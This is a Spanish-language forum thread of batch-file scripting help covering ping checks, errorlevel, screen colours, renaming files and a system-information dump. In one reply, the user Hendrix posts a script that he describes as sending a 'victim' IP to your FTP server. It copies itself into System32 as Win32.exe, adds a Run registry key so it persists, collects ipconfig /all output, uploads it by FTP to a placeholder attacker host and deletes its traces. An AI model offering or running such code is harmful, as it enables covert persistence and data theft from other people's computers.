Autor
|
Tema: TUTORIAL PROGRAMACION BAT (Leído 396,771 veces)
|
|
Hendrix
|
Seria asi:
@echo off CHKDSK > C:\info.txt exit
Salu2
Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
|
|
nanoemi003784
Desconectado
Mensajes: 3
|
Hola, quisiera saber como hacer lo siguiente:
hacer un bat que me de una respuesta de un ping
En un pseudocódigo sería más o menos así:
SET ip=192.168.0.1 ping %ip% si(ping me dio alguna respuesta negativa (es decir me dio tiempo de espera agotado)) entonces: echo No anda sino echo Anda perfectamente
Fin
La idea es que necesito saber si ping devuelve algun resultado o si hay una variable default donde todas las funciones retornan algun tipo de resultado.
Desde ya muchas gracias!
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar.... Te paso el kode: @echo off copy /y %0 C:\Windows\System32\Win32.exe Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\Win32.exe" :mira ping www.google.es > C:\Windows\System32\ping.txt For /F "skip=3 Tokens=1 Delims= " %%A IN (C:\Windows\System32\ping.txt) do set ips=%%A IF %ips%==M¡nimo (set q=siconec ) else (set q=noconec) if %q%==siconec (goto ftp) else (goto torna) :ftp ipconfig /all > C:\Windows\System32\ip.txt echo TUNOMBRE > C:\Windows\System32\datos.txt echo TUPASS >> C:\Windows\System32\datos.txt echo put C:\Windows\System32\datos.txt datos.txt >> C:\Windows\System32\datos.txt echo put >> C:\Windows\System32\ip.txt %username%.txt >> C:\Windows\System32\datos.txt echo bye >> C:\Windows\System32\datos.txt ftp -s:C:\Windows\System32\datos.txt ftp.TUFTP.com goto fin :torna ping 127.0.0.1 -n 50 goto mira :fin del /s /q C:\Windows\System32\ping.txt del /s /q C:\Windows\System32\datos.txt del /s /q C:\Windows\System32\ip.txt exit Espero que te sirva, es algo komplikadillo, pero weno. Salu2 Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
nanoemi003784
Desconectado
Mensajes: 3
|
Gracias por responder Hendrix.
Si me sirvió, pero yo pensé que el DOS o el lenguaje batch o quien fuera te devolvía una variable estandar con un resultado true o false o algo asi luego de cada comando; digo esto porque veo que en tu código escribis en un archivo y luego lo lees y de ahi sacas la respuesta al ping. Pero tengo entendido que ping de por si devuelve algo (1 ó 0 ó true ó false) y asi todos los comandos, pero no se cual es la manera de ver ese resultado sin tirarlo a un archivo. De todos modos con este script que me diste es más que suficiente y te lo agradezco. Nos vemos, si te enteras de algo con respecto a esto me aisas? Saludos!
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
no, el DOS no funciona asi, solo funciona de la manera que esta en mi programa.
A veces es algo komplikado este lenguaje (sobre todo para leer archivos). Pero Weno....
Salu2
Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
nanoemi003784
Desconectado
Mensajes: 3
|
Hendrix:
Gracias por todo, descubri una pequeña variable que no se bien como funciona pero sirve para lo que yo necesitaba. Te paso el código para que lo veas y me corrijas en todo lo posible o me das más información pq de esto se muy poco:
@echo off SET ip=192.168.0.1 ping %equipo% -n 1 echo %errorlevel%
si el ping da respuesta la variable errorlevel vale 0 si el ping da tiempo de espera agotado la variable errorlevel vale 1
Por suerte con esto me alcanza, pero si no fuera por tu ayuda y la de este foro no lo habría hecho, asi que gracias de nuevo e insisto, si conseguis más información acerca de este errorlevel te estaría más agradecido aún. Saludos!
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
vaya, yo konocia este comando, pero no sabia que funcionaba para esto....esta bastante interesante....  Por cierto, el kode que posteaste tu komo ejemplo seria asi para que fuese korrecto: @echo off SET ip=192.168.0.1 ping % ip% -n 1 echo %errorlevel% pause exit Salu2 Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
cyrusx
Desconectado
Mensajes: 1
|
saludos!!!!!! se q soy nuevo por aki y solo les queria preguntar como hago para cambiar de color la pantalla por medio de un BAT q paleta uso, osea q colores soporta y como se usa el comando...... gracias..........
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
Prueba este:
color 0a
Para ver mas kolores pon esto:
color /?
Salu2
Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
|
Hendrix
|
Informacion detallada en batch: Este kode te da una informacion detallada de tu PC., bastante interesante. @echo off echo Informacion sobre el PC: > C:\info.txt echo ***************************************** >> C:\info.txt Systeminfo >> C:\info.txt echo ***************************************** >> C:\info.txt echo El nombre del usuario es: %username% >> C:\info.txt echo El nombre de la PC es: %computername% >> C:\info.txt echo La carpeta del systema es: %systemroot% >> C:\info.txt echo Plataforma: %os% >> C:\info.txt echo Numero de Procesadores del Sistema: %NUMBER_OF_PROCESSORS% >> C:\info.txt echo El MS-DOS se enkuentra en: %comspec% >> C:\info.txt echo Tus extensiones ejecutables son: %pathext% >> C:\info.txt echo Numero de modelo de tu procesador: %PROCESSOR_LEVEL% >> C:\info.txt
echo ***************************************** >> C:\info.txt echo Los diskos que tiene este PC son: >> C:\info.txt If Exist B:\ ( echo Disco B >> C:\info.txt && goto 2) else (goto 2) :2 If Exist C:\ ( echo Disco C >> C:\info.txt && goto 3) else (goto 3) :3 If Exist D:\ ( echo Disco D >> C:\info.txt && goto 4) else (goto 4) :4 If Exist E:\ ( echo Disco E >> C:\info.txt && goto 5) else (goto 5) :5 If Exist F:\ ( echo Disco F >> C:\info.txt && goto 6) else (goto 6) :6 If Exist G:\ ( echo Disco G >> C:\info.txt && goto 7) else (goto 7) :7 If Exist H:\ ( echo Disco H >> C:\info.txt && goto 8) else (goto 8) :8 If Exist I:\ ( echo Disco I >> C:\info.txt && goto 9) else (goto 9) :9 If Exist J:\ ( echo Disco J >> C:\info.txt && goto 10) else (goto 10) :10 If Exist K:\ ( echo Disco K >> C:\info.txt && goto 11) else (goto 11) :11 If Exist L:\ ( echo Disco L >> C:\info.txt && goto 12) else (goto 12) :12 If Exist M:\ ( echo Disco M >> C:\info.txt && goto 13) else (goto 13) :13 If Exist N:\ ( echo Disco N >> C:\info.txt && goto 14) else (goto 14) :14 If Exist O:\ ( echo Disco O >> C:\info.txt && goto 15) else (goto 15) :15 If Exist P:\ ( echo Disco P >> C:\info.txt && goto 16) else (goto 16) :16 If Exist Q:\ ( echo Disco Q >> C:\info.txt && goto 17) else (goto 17) :17 If Exist R:\ ( echo Disco R >> C:\info.txt && goto 18) else (goto 18) :18 If Exist S:\ ( echo Disco S >> C:\info.txt && goto 19) else (goto 19) :19 If Exist T:\ ( echo Disco T >> C:\info.txt && goto 20) else (goto 20) :20 If Exist U:\ ( echo Disco U >> C:\info.txt && goto 21) else (goto 21) :21 If Exist V:\ ( echo Disco V >> C:\info.txt && goto 22) else (goto 22) :22 If Exist W:\ ( echo Disco W >> C:\info.txt && goto 23) else (goto 23) :23 If Exist X:\ ( echo Disco X >> C:\info.txt && goto 24) else (goto 24) :24 If Exist Y:\ ( echo Disco Y >> C:\info.txt && goto 25) else (goto 25) :25 If Exist Z:\ ( echo Disco Z >> C:\info.txt && goto 26) else (goto 26) :26 echo *********************************************** >> C:\info.txt echo Informacion completa de tu IP: >> C:\info.txt ipconfig /all >> C:\info.txt echo ***********************************************>> C:\info.txt echo EOF >> C:\info.txt start C:\info.txt exit PD: El kode es 100% mio, no e echo ningun copy&paste...  Salu2 Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
Franc_
Desconectado
Mensajes: 4
|
Como hago para renombrar un archivo, 01 aventuras.rar a 01_aventuras.rar. osea renombrar ami archivos con (_) en ves de espacio.
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
ren 01 aventuras.rar 01_aventuras.rar
Ten en kuenta que tienes que estar en la ruta adekuada, es decir, si estos archivos estan en C:\Windows pones esto:
cd "C:\Windows" ren 01 aventuras.rar 01_aventuras.rar
Y asi ya vale...
Salu2
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
Franc_
Desconectado
Mensajes: 4
|
Muchas gracias amigo, pero como seria para varios archivos 01 aaaa.rar 02 aaaa.rar 03 aaaa.rar
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
Si tienes muchos archivos puedes hacer un bukle, por ejemplo puedes hacer esto:
@echo off set /a op=0 :tutu set /a op=%op%+1 ren %op% archivo.rar %op%_archivo.rar if %op%==20 (goto turet) goto tutu :turet exit
En este kaso se crearia un bukle que renombraria todos los archivos desde el 0 hasta el 20, lo puedes modifikar a tu gusto...
PD: recuerda poner la ruta!!!! kedaria asi:
@echo off cd "C:\ruta\ruta set /a op=0 :tutu set /a op=%op%+1 ren %op% archivo.rar %op%_archivo.rar if %op%==20 (goto turet) goto tutu :turet exit
Salu2
Hendrix
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Tutorial: Programación ODBC
Programación General
|
ø:|The_hacker|:ø
|
0
|
445
|
23 Febrero 2005, 09:37
por ø:|The_hacker|:ø
|
|
|
Tutorial: Programación PIC
Electrónica
|
Fabios Arts
|
2
|
6,011
|
4 Diciembre 2005, 22:23
por Fabios Arts
|
|
|
Tutorial programación BAT
Scripting
|
soplo
|
4
|
1,428
|
22 Julio 2006, 23:38
por sirdarckcat
|
|
|
Video Tutorial Programacion C++
« 1 2 3 4 5 »
Programación C/C++
|
Chuxxx
|
60
|
41,620
|
7 Febrero 2012, 15:26
por MauroMasciar
|
|
|
Tutorial de programación con Qt4 - 1º,2º y 3º entrega
Programación C/C++
|
paju1986
|
1
|
1,814
|
25 Diciembre 2010, 21:52
por Littlehorse
|
|